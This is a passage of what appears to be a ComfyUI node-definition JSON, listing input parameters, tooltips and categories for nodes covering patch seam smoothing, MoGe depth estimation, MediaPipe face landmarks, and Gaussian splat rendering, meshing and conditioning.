["FLOAT", {"tooltip": "Sampling progress at which the blend turns OFF.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "pattern": ["COMBO", {"tooltip": "Shift layout. single_shift: one pass at the natural patch grid + others offset. symmetric: all passes off-grid, shifts split around origin.", "default": "single_shift", "multiselect": false, "options": ["single_shift", "symmetric"]}], "passes": ["COMBO", {"tooltip": "Number of passes per gated step. 2/4 = fixed. ramp_*: pass count increases as sampling approaches end (more smoothing where seams are most visible).", "default": "2", "multiselect": false, "options": ["2", "4", "ramp_2_4", "ramp_2_4_8"]}], "blend": ["COMBO", {"tooltip": "average: equal-weight mean. window: Hann-windowed weighting favoring each pass away from its patch boundaries. median: per-pixel median, rejects wraparound-outlier passes.", "default": "average", "multiselect": false, "options": ["average", "window", "median"]}], "strength": ["FLOAT", {"tooltip": "Interpolation between the natural-grid pred (0) and the averaged result (1).", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "start_percent", "end_percent", "pattern", "passes", "blend", "strength"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "HiDreamO1PatchSeamSmoothing", "display_name": "HiDream-O1 Patch Seam Smoothing", "description": "Average the model output across multiple shifted patch-grid positions during the late portion of sampling. Cancels seams.", "python_module": "comfy_extras.nodes_hidream_o1", "category": "model/patch/hidream", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveGLB": {"input": {"required": {"mesh": ["MESH,FILE_3D_GLB,FILE_3D_GLTF,FILE_3D_OBJ,FILE_3D_FBX,FILE_3D_STL,FILE_3D_USDZ,FILE_3D_PLY,FILE_3D_SPLAT,FILE_3D_SPZ,FILE_3D_KSPLAT,FILE_3D_SPLAT_ANY,FILE_3D_POINT_CLOUD_ANY,FILE_3D", {"tooltip": "Mesh or 3D file to save"}], "filename_prefix": ["STRING", {"default": "3d/ComfyUI", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["mesh", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveGLB", "display_name": "Save 3D Model", "description": "", "python_module": "comfy_extras.nodes_save_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export 3d model", "save mesh"], "essentials_category": "Basics", "has_intermediate_output": false}, "LoadMoGeModel": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["MOGE_MODEL"], "output_is_list": [false], "output_name": ["MOGE_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadMoGeModel", "display_name": "Load MoGe Model", "description": "", "python_module": "comfy_extras.nodes_moge", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MoGeInference": {"input": {"required": {"moge_model": ["MOGE_MODEL", {}], "image": ["IMAGE", {}], "resolution_level": ["INT", {"tooltip": "0 = fastest, 9 = most detail.", "default": 9, "min": 0, "max": 9}], "fov_x_degrees": ["FLOAT", {"tooltip": "Horizontal field of view of the source camera. Sets the focal length used to unproject the depth map into 3D. 0 = auto-recover from the predicted points.", "advanced": true, "default": 0.0, "min": 0.0, "max": 170.0, "step": 0.1}], "batch_size": ["INT", {"tooltip": "Images per inference call. Lower if you OOM on a long video / image set.", "default": 4, "min": 1, "max": 64}], "force_projection": ["BOOLEAN", {"advanced": true, "default": true}], "apply_mask": ["BOOLEAN", {"tooltip": "Set masked-out (sky / invalid) pixels to inf in points and depth so meshing culls them. Disable to keep the raw predicted geometry everywhere; the mask is still returned separately.", "advanced": true, "default": true}]}}, "input_order": {"required": ["moge_model", "image", "resolution_level", "fov_x_degrees", "batch_size", "force_projection", "apply_mask"]}, "is_input_list": false, "output": ["MOGE_GEOMETRY"], "output_is_list": [false], "output_name": ["moge_geometry"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGeInference", "display_name": "Run MoGe Inference", "description": "Run MoGe on a single image to estimate depth and geometry.", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "depth", "geometry", "depth estimation", "geometry estimation"], "essentials_category": null, "has_intermediate_output": false}, "MoGePanoramaInference": {"input": {"required": {"moge_model": ["MOGE_MODEL", {}], "image": ["IMAGE", {"tooltip": "Equirectangular panorama (any aspect)."}], "resolution_level": ["INT", {"tooltip": "Per-view detail (0 = fastest, 9 = most detailed).", "default": 9, "min": 0, "max": 9}], "split_resolution": ["INT", {"tooltip": "Resolution of each perspective split.", "default": 512, "min": 256, "max": 1024}], "merge_resolution": ["INT", {"tooltip": "Long-side resolution of the merged equirect distance map.", "default": 1920, "min": 256, "max": 8192}], "batch_size": ["INT", {"tooltip": "Views per inference batch (12 splits total).", "default": 4, "min": 1, "max": 12}]}}, "input_order": {"required": ["moge_model", "image", "resolution_level", "split_resolution", "merge_resolution", "batch_size"]}, "is_input_list": false, "output": ["MOGE_GEOMETRY"], "output_is_list": [false], "output_name": ["moge_geometry"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGePanoramaInference", "display_name": "Run MoGe Panorama Inference", "description": "Run MoGe on an equirectangular panorama by splitting it into 12 perspective views, running inference on each, and merging the results into a single depth map.", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "panorama", "depth", "geometry", "depth estimation", "geometry estimation"], "essentials_category": null, "has_intermediate_output": false}, "MoGeRender": {"input": {"required": {"moge_geometry": ["MOGE_GEOMETRY", {}], "output": ["COMBO", {"tooltip": "DirectX vs OpenGL controls the normal-map green-channel convention. DirectX: green = -Y down (Unreal). OpenGL: green = +Y up (Blender, Substance, Unity, glTF).", "default": "depth", "multiselect": false, "options": ["depth", "depth_colored", "normal_opengl", "normal_directx", "mask"]}]}}, "input_order": {"required": ["moge_geometry", "output"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGeRender", "display_name": "Render MoGe Geometry", "description": "Render a depth map or normal map from geometry data", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "render", "geometry", "depth", "normal"], "essentials_category": null, "has_intermediate_output": false}, "MoGePointMapToMesh": {"input": {"required": {"moge_geometry": ["MOGE_GEOMETRY", {}], "batch_index": ["INT", {"tooltip": "Which image of a batched MoGe geometry to mesh. Per-image vertex counts differ, so batches can't be stacked into a single MESH.", "default": 0, "min": 0, "max": 4096}], "decimation": ["INT", {"tooltip": "Vertex stride; 1 = full resolution.", "default": 1, "min": 1, "max": 8}], "discontinuity_threshold": ["FLOAT", {"tooltip": "Drop pixels whose 3x3 depth span exceeds this fraction. 0 = off.", "default": 0.04, "min": 0.0, "max": 1.0, "step": 0.01}], "texture": ["BOOLEAN", {"tooltip": "Carry the source image through as the baseColor texture.", "default": true}]}}, "input_order": {"required": ["moge_geometry", "batch_index", "decimation", "discontinuity_threshold", "texture"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGePointMapToMesh", "display_name": "Convert MoGe Point Map to Mesh", "description": "Convert a MoGe point map into a 3D mesh.", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "mesh", "geometry", "point map"], "essentials_category": null, "has_intermediate_output": false}, "LoadMediaPipeFaceLandmarker": {"input": {"required": {"model_name": ["COMBO", {"tooltip": "Face detection model from models/detection/.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["FACE_DETECTION_MODEL"], "output_is_list": [false], "output_name": ["FACE_DETECTION_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadMediaPipeFaceLandmarker", "display_name": "Load Face Detection Model (MediaPipe)", "description": "", "python_module": "comfy_extras.nodes_mediapipe", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face landmark", "face mesh", "blazeface", "face detection"], "essentials_category": null, "has_intermediate_output": false}, "MediaPipeFaceLandmarker": {"input": {"required": {"face_detection_model": ["FACE_DETECTION_MODEL", {}], "image": ["IMAGE", {}], "detector_variant": ["COMBO", {"tooltip": "Face detector range. 'short' is tuned for close-up faces (within ~2 m of the camera); 'full' covers farther / smaller faces (up to ~5 m) but is slower. 'both' runs both detectors and keeps whichever found more faces per frame (~2\u00d7 detection cost).", "default": "short", "multiselect": false, "options": ["short", "full", "both"]}], "num_faces": ["INT", {"tooltip": "Maximum faces to return per frame. 0 = no cap (return all detected).", "default": 1, "min": 0, "max": 16, "step": 1}], "min_confidence": ["FLOAT", {"tooltip": "BlazeFace score threshold. Lower to catch small/occluded faces.", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "missing_frame_fallback": ["COMBO", {"tooltip": "Per-frame behaviour when detection fails in a batch. 'empty' leaves the frame faceless. 'previous' copies the most recent successful detection. 'interpolate' lerps landmarks/bbox/blendshapes between bracketing successful frames. Multi-face: pairs faces across frames by greedy bbox-centre NN.", "advanced": true, "default": "empty", "multiselect": false, "options": ["empty", "previous", "interpolate"]}]}}, "input_order": {"required": ["face_detection_model", "image", "detector_variant", "num_faces", "min_confidence", "missing_frame_fallback"]}, "is_input_list": false, "output": ["FACE_LANDMARKS", "BOUNDING_BOX"], "output_is_list": [false, false], "output_name": ["face_landmarks", "bboxes"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "MediaPipeFaceLandmarker", "display_name": "Detect Face Landmarks (MediaPipe)", "description": "Detects facial landmarks using MediaPipe model.", "python_module": "comfy_extras.nodes_mediapipe", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face landmark", "face mesh", "blazeface", "face detection"], "essentials_category": null, "has_intermediate_output": false}, "MediaPipeFaceMeshVisualize": {"input": {"required": {"face_landmarks": ["FACE_LANDMARKS", {}], "connections": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "'all' = oval+eyes+brows+lips+irises+nose. 'fill' = solid face_oval polygon (silhouette mask). 'custom' = toggle each feature individually (including 'tesselation', the full 2547-edge wireframe).", "options": [{"key": "all", "inputs": {"required": {}}}, {"key": "fill", "inputs": {"required": {}}}, {"key": "custom", "inputs": {"required": {"face_oval": ["BOOLEAN", {"tooltip": "Draw the 'face_oval' connection set.", "default": true}], "lips": ["BOOLEAN", {"tooltip": "Draw the 'lips' connection set.", "default": true}], "left_eye": ["BOOLEAN", {"tooltip": "Draw the 'left_eye' connection set.", "default": true}], "right_eye": ["BOOLEAN", {"tooltip": "Draw the 'right_eye' connection set.", "default": true}], "left_eyebrow": ["BOOLEAN", {"tooltip": "Draw the 'left_eyebrow' connection set.", "default": true}], "right_eyebrow": ["BOOLEAN", {"tooltip": "Draw the 'right_eyebrow' connection set.", "default": true}], "irises": ["BOOLEAN", {"tooltip": "Draw the 'irises' connection set.", "default": true}], "nose": ["BOOLEAN", {"tooltip": "Draw the 'nose' connection set.", "default": true}], "tesselation": ["BOOLEAN", {"tooltip": "Draw the 'tesselation' connection set.", "default": false}]}}}]}], "color": ["COLOR", {"default": "#00ff00", "socketless": true}], "thickness": ["INT", {"tooltip": "Edge line thickness in pixels. 0 disables edge drawing.", "default": 1, "min": 0, "max": 8, "step": 1}], "point_size": ["INT", {"tooltip": "Landmark dot radius in pixels. 0 disables point drawing.", "default": 2, "min": 0, "max": 16, "step": 1}]}, "optional": {"image": ["IMAGE", {"tooltip": "If not connected, a black canvas will be used."}]}}, "input_order": {"required": ["face_landmarks", "connections", "color", "thickness", "point_size"], "optional": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MediaPipeFaceMeshVisualize", "display_name": "Visualize Face Landmarks (MediaPipe)", "description": "Draws face landmarks mesh on the input image.", "python_module": "comfy_extras.nodes_mediapipe", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face landmark", "face mesh", "blazeface", "face detection", "visualize"], "essentials_category": null, "has_intermediate_output": false}, "MediaPipeFaceMask": {"input": {"required": {"face_landmarks": ["FACE_LANDMARKS", {}], "regions": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "'all' = union of face_oval+lips+eyes+irises (which collapses to face_oval since it encloses the rest). 'custom' = toggle each region individually for combos like lips+eyes.", "options": [{"key": "all", "inputs": {"required": {}}}, {"key": "custom", "inputs": {"required": {"face_oval": ["BOOLEAN", {"tooltip": "Include the 'face_oval' region in the mask.", "default": true}], "lips": ["BOOLEAN", {"tooltip": "Include the 'lips' region in the mask.", "default": false}], "left_eye": ["BOOLEAN", {"tooltip": "Include the 'left_eye' region in the mask.", "default": false}], "right_eye": ["BOOLEAN", {"tooltip": "Include the 'right_eye' region in the mask.", "default": false}], "irises": ["BOOLEAN", {"tooltip": "Include the 'irises' region in the mask.", "default": false}]}}}]}]}}, "input_order": {"required": ["face_landmarks", "regions"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "MediaPipeFaceMask", "display_name": "Draw Face Mask (MediaPipe)", "description": "Draws a mask from face landmarks.", "python_module": "comfy_extras.nodes_mediapipe", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face mask", "blazeface", "face detection", "visualize"], "essentials_category": null, "has_intermediate_output": false}, "SplatToFile3D": {"input": {"required": {"splat": ["SPLAT", {}], "format": ["COMBO", {"tooltip": "ply: standard 3D Gaussian Splat with full spherical harmonics. ksplat: mkkellogg SplatBuffer (level 0, uncompressed), base color only spz: Niantic gzip-compressed (~10x smaller), base color only ", "multiselect": false, "options": ["ply", "ksplat", "spz"]}]}}, "input_order": {"required": ["splat", "format"]}, "is_input_list": false, "output": ["FILE_3D_SPLAT_ANY"], "output_is_list": [false], "output_name": ["model_3d"], "output_tooltips": [null], "output_matchtypes": null, "name": "SplatToFile3D", "display_name": "Create 3D File (from Splat)", "description": "Serialize a gaussian splat to a File3D object for Save / Preview 3D nodes. Supports one item per batch only.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["gaussian to ply", "splat to file", "export gaussian"], "essentials_category": null, "has_intermediate_output": false}, "File3DToSplat": {"input": {"required": {"model_3d": ["FILE_3D,FILE_3D_SPLAT_ANY,FILE_3D_PLY,FILE_3D_SPLAT,FILE_3D_KSPLAT,FILE_3D_SPZ", {"tooltip": "A gaussian splat 3D file"}]}}, "input_order": {"required": ["model_3d"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "File3DToSplat", "display_name": "Get Splat", "description": "Parse a splat File3D into a gaussian splat. Inverse of Create 3D File (from Splat). Supported format: PLY, SPLAT, KSPLAT, SPZ. PLY carries full spherical harmonics, the other formats are base color only. Format is auto-detected from the file contents.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load splat", "ply to splat", "import splat", "file to splat"], "essentials_category": null, "has_intermediate_output": false}, "RenderSplat": {"input": {"required": {"splat": ["SPLAT", {}], "width": ["INT", {"default": 1024, "min": 64, "max": 2048, "step": 8}], "height": ["INT", {"default": 1024, "min": 64, "max": 2048, "step": 8}], "frames": ["INT", {"tooltip": "-1, 0, 1 = single still image; >1 = turntable, the camera orbits over a full 360 turn (works with any camera_info). Negative value orbits the other way.", "default": 1, "min": -240, "max": 240}], "splat_scale": ["FLOAT", {"tooltip": "Multiplier on each splat's projected footprint (lower = crisper points, higher = softer/fuller surface).", "advanced": true, "default": 1.0, "min": 0.1, "max": 5.0, "step": 0.05}], "sharpen": ["FLOAT", {"tooltip": "Sharpen overlapping splats: 1.0 = physically-correct blend; higher biases each pixel toward its dominant (nearest) splat for crisper texture, without shrinking splats or opening gaps. Non-physical above 1.", "default": 2.0, "min": 1.0, "max": 8.0, "step": 0.5}], "headlight_shading": ["FLOAT", {"tooltip": "Diffuse shading from a light at the camera (headlight), using the splat surfel normals: darkens surfaces that turn away from view to reveal form/curvature. 0 = flat albedo, 1 = strongest shading.", "advanced": true, "default": 0.0, "min": 0.0, "max": 3.0, "step": 0.05}], "opacity_threshold": ["FLOAT", {"tooltip": "Cull gaussians with opacity below this (removes faint floaters).", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "render_style": ["COMBO", {"tooltip": "What the image output shows: color, clay (neutral-albedo shaded), depth (near=bright), normal (OpenGL normal map).", "multiselect": false, "options": ["color", "clay", "depth", "normal"]}], "background": ["COLOR", {"default": "#000000", "socketless": true}]}, "optional": {"bg_image": ["IMAGE", {"tooltip": "Optional background plate composited behind the splat (overrides the solid background colour). Resized to the render size; a batch is used per frame, a single image for all. color/clay only."}], "camera_info": ["LOAD3D_CAMERA", {"tooltip": "Camera to render from - a Load3D / Preview3D camera or a Create Camera Info node. If empty, the splat is auto-framed from a default 3/4 view."}]}}, "input_order": {"required": ["splat", "width", "height", "frames", "splat_scale", "sharpen", "headlight_shading", "opacity_threshold", "render_style", "background"], "optional": ["bg_image", "camera_info"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["image", "mask"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "RenderSplat", "display_name": "Render Splat", "description": "Render a gaussian splat as an image with an anisotropic EWA rasterizer (oriented elliptical splats, antialiased, depth-sorted front-to-back). The camera comes from a camera_info input (Load / Preview 3D, or a Create Camera Info node); leave it empty to auto-frame the splat. Set frames greater than 1 for a turntable batch of images to feed a Video node.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["splat to image", "render splat", "gaussian turntable"], "essentials_category": null, "has_intermediate_output": false}, "CreateCameraInfo": {"input": {"required": {"mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to define the camera: orbit angles, an explicit position, or a position + quaternion.", "options": [{"key": "orbit", "inputs": {"required": {"yaw": ["FLOAT", {"default": 35.0, "min": -360.0, "max": 360.0, "step": 1.0}], "pitch": ["FLOAT", {"default": 30.0, "min": -89.0, "max": 89.0, "step": 1.0}], "distance": ["FLOAT", {"tooltip": "Camera distance from the target.", "default": 4.0, "min": 0.01, "max": 1000.0, "step": 0.01}]}}}, {"key": "look_at", "inputs": {"required": {"position_x": ["FLOAT", {"tooltip": "Camera position in world space (right-handed, Y-up).", "default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_y": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_z": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}]}}}, {"key": "quaternion", "inputs": {"required": {"position_x": ["FLOAT", {"tooltip": "Camera position in world space (right-handed, Y-up).", "default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_y": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_z": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "quat_x": ["FLOAT", {"default": 0.0, "min": -1.0, "max": 1.0, "step": 0.001}], "quat_y": ["FLOAT", {"default": 0.0, "min": -1.0, "max": 1.0, "step": 0.001}], "quat_z": ["FLOAT", {"default": 0.0, "min": -1.0, "max": 1.0, "step": 0.001}], "quat_w": ["FLOAT", {"tooltip": "Camera world-rotation quaternion (three.js: looks down local -Z). Normalized for you.", "default": 1.0, "min": -1.0, "max": 1.0, "step": 0.001}]}}}]}], "target_x": ["FLOAT", {"tooltip": "Look-at point (orbit pivot / aim). In orbit mode, move it to pan/translate the whole camera. Ignored in quaternion mode. Defaults to the origin.", "advanced": true, "default": 0.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "target_y": ["FLOAT", {"advanced": true, "default": 0.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "target_z": ["FLOAT", {"advanced": true, "default": 0.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "roll": ["FLOAT", {"tooltip": "Camera roll about the view axis, degrees.", "default": 0.0, "min": -180.0, "max": 180.0, "step": 1.0}], "fov": ["FLOAT", {"tooltip": "Vertical field of view in degrees.", "default": 35.0, "min": 1.0, "max": 120.0, "step": 1.0}], "zoom": ["FLOAT", {"tooltip": "Digital zoom (focal-length multiplier). >1 zooms in without moving the camera.", "default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}], "camera_type": ["COMBO", {"tooltip": "Projection used by Render Splat: perspective (foreshortening) or orthographic (parallel).", "multiselect": false, "options": ["perspective", "orthographic"]}]}}, "input_order": {"required": ["mode", "target_x", "target_y", "target_z", "roll", "fov", "zoom", "camera_type"]}, "is_input_list": false, "output": ["LOAD3D_CAMERA"], "output_is_list": [false], "output_name": ["camera_info"], "output_tooltips": [null], "output_matchtypes": null, "name": "CreateCameraInfo", "display_name": "Create Camera Info", "description": "Build a camera_infoMode 'orbit' aims with yaw/pitch/distance around the target; 'look_at' places the camera at world position. Coordinates are the viewer's world space (right-handed,Y-up).", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["camera position", "make camera info", "orbit camera", "look at camera"], "essentials_category": null, "has_intermediate_output": false}, "TransformSplat": {"input": {"required": {"splat": ["SPLAT", {}], "translate_x": ["FLOAT", {"default": 0.0, "min": -100.0, "max": 100.0, "step": 0.01}], "translate_y": ["FLOAT", {"default": 0.0, "min": -100.0, "max": 100.0, "step": 0.01}], "translate_z": ["FLOAT", {"default": 0.0, "min": -100.0, "max": 100.0, "step": 0.01}], "rotate_x": ["FLOAT", {"default": 0.0, "min": -360.0, "max": 360.0, "step": 1.0}], "rotate_y": ["FLOAT", {"default": 0.0, "min": -360.0, "max": 360.0, "step": 1.0}], "rotate_z": ["FLOAT", {"default": 0.0, "min": -360.0, "max": 360.0, "step": 1.0}], "scale_x": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}], "scale_y": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}], "scale_z": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["splat", "translate_x", "translate_y", "translate_z", "rotate_x", "rotate_y", "rotate_z", "scale_x", "scale_y", "scale_z"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "TransformSplat", "display_name": "Transform Splat", "description": "Translate, rotate, and scale a gaussian splat. Non-uniform scale also reshapes every individual splat, slower process.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["move splat", "rotate splat", "scale splat", "gaussian transform"], "essentials_category": null, "has_intermediate_output": false}, "GetSplatCount": {"input": {"required": {"splat": ["SPLAT", {}]}, "hidden": {"unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["splat"], "hidden": ["unique_id"]}, "is_input_list": false, "output": ["SPLAT", "INT"], "output_is_list": [false, false], "output_name": ["splat", "count"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GetSplatCount", "display_name": "Get Splat Count", "description": "Returns the number of splats summed across the batch.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["splat count", "gaussian count", "number of splats", "splat info"], "essentials_category": null, "has_intermediate_output": false}, "MergeSplat": {"input": {"required": {"splats": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"splat": ["SPLAT", {}]}}, "prefix": "splat", "min": 2, "max": 32}}]}}, "input_order": {"required": ["splats"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "MergeSplat", "display_name": "Merge Splats", "description": "Concatenate any number of gaussian splats into one. Unioning several decodes of the same latent at different seeds densifies the surface, this can improve surface quality when meshing.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["union splat", "densify gaussian", "combine splat", "merge gaussian"], "essentials_category": null, "has_intermediate_output": false}, "SplatToMesh": {"input": {"required": {"splat": ["SPLAT", {}], "resolution": ["INT", {"tooltip": "Density-grid resolution along the longest axis. Higher = finer surface, more VRAM/time (grows with resolution^3).", "default": 384, "min": 64, "max": 768, "step": 16}], "kernel": ["INT", {"tooltip": "Max splat half-width in voxels. Each gaussian is rasterized over a window sized to its own 3-sigma, capped here - small surfels stay cheap, large ones aren't truncated. Raise if sparse splats leave gaps.", "default": 5, "min": 1, "max": 8}], "smooth": ["INT", {"tooltip": "Taubin mesh-smoothing iterations. Smooths the surface without shrinking it (volume-preserving), unlike blurring the density. 0 = raw surface.", "advanced": true, "default": 0, "min": 0, "max": 60}], "level": ["FLOAT", {"tooltip": "Iso-surface level. Auto-picked by Otsu; this biases it (1.0 = auto, lower = fatter/more-connected surface, higher = thinner/tighter).", "default": 0.4, "min": 0.0, "max": 2.0, "step": 0.01}], "min_component": ["INT", {"tooltip": "Drop connected components smaller than this many vertices (0 = keep all). Removes detached floater blobs and the inner shell of the double wall.", "advanced": true, "default": 500, "min": 0, "max": 100000, "step": 50}], "min_opacity": ["FLOAT", {"tooltip": "Ignore gaussians fainter than this before meshing.", "advanced": true, "default": 0.02, "min": 0.0, "max": 1.0, "step": 0.01}], "color_sharpen": ["FLOAT", {"tooltip": "Crisp up the vertex texture: 1.0 = physically-correct blend; higher biases each voxel's colour toward its dominant gaussian instead of averaging neighbours (de-smears the texture). Colour only - geometry is unchanged.", "default": 2.0, "min": 1.0, "max": 8.0, "step": 0.5}]}}, "input_order": {"required": ["splat", "resolution", "kernel", "smooth", "level", "min_component", "min_opacity", "color_sharpen"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["mesh"], "output_tooltips": [null], "output_matchtypes": null, "name": "SplatToMesh", "display_name": "Extract Mesh from Splat", "description": "Extract a coloured mesh from a gaussian splat.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["splat to mesh", "gaussian surface nets", "splat surface", "mesh splat"], "essentials_category": null, "has_intermediate_output": false}, "TripoSplatPreprocessImage": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {}], "erode_radius": ["INT", {"tooltip": "Erode the alpha matte by this pixel radius before cropping (avoids border bleed).", "default": 1, "min": 0, "max": 16}], "size": ["INT", {"tooltip": "Square image size. The model is trained at 1024; other sizes run but are off-distribution.", "default": 1024, "min": 256, "max": 4096, "step": 16}]}}, "input_order": {"required": ["image", "mask", "erode_radius", "size"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["image"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripoSplatPreprocessImage", "display_name": "TripoSplat Preprocess Image", "description": "Crop center each image to a square canvas on a black background and add padding.", "python_module": "comfy_extras.nodes_triposplat", "category": "model/conditioning/triposplat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoSplatConditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION", {"tooltip": "DINOv3 ViT-H/16+ image encoder"}], "vae": ["VAE", {"tooltip": "Flux2 VAE"}], "image": ["IMAGE", {}]}}, "input_order": {"required": ["clip_vision", "vae", "image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, "The fixed size noise target (latent +camera)."], "output_matchtypes": null, "name": "TripoSplatConditioning", "display_name": "TripoSplat Conditioning", "description": "Encode the image with DINOv3 and the Flux2 VAE into TripoSplat positive/negative conditioning, and create the fixed size noise target (latent + camera) for the KSampler", "python_module": "comfy_extras.nodes_triposplat", "category": "model/conditioning/triposplat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": 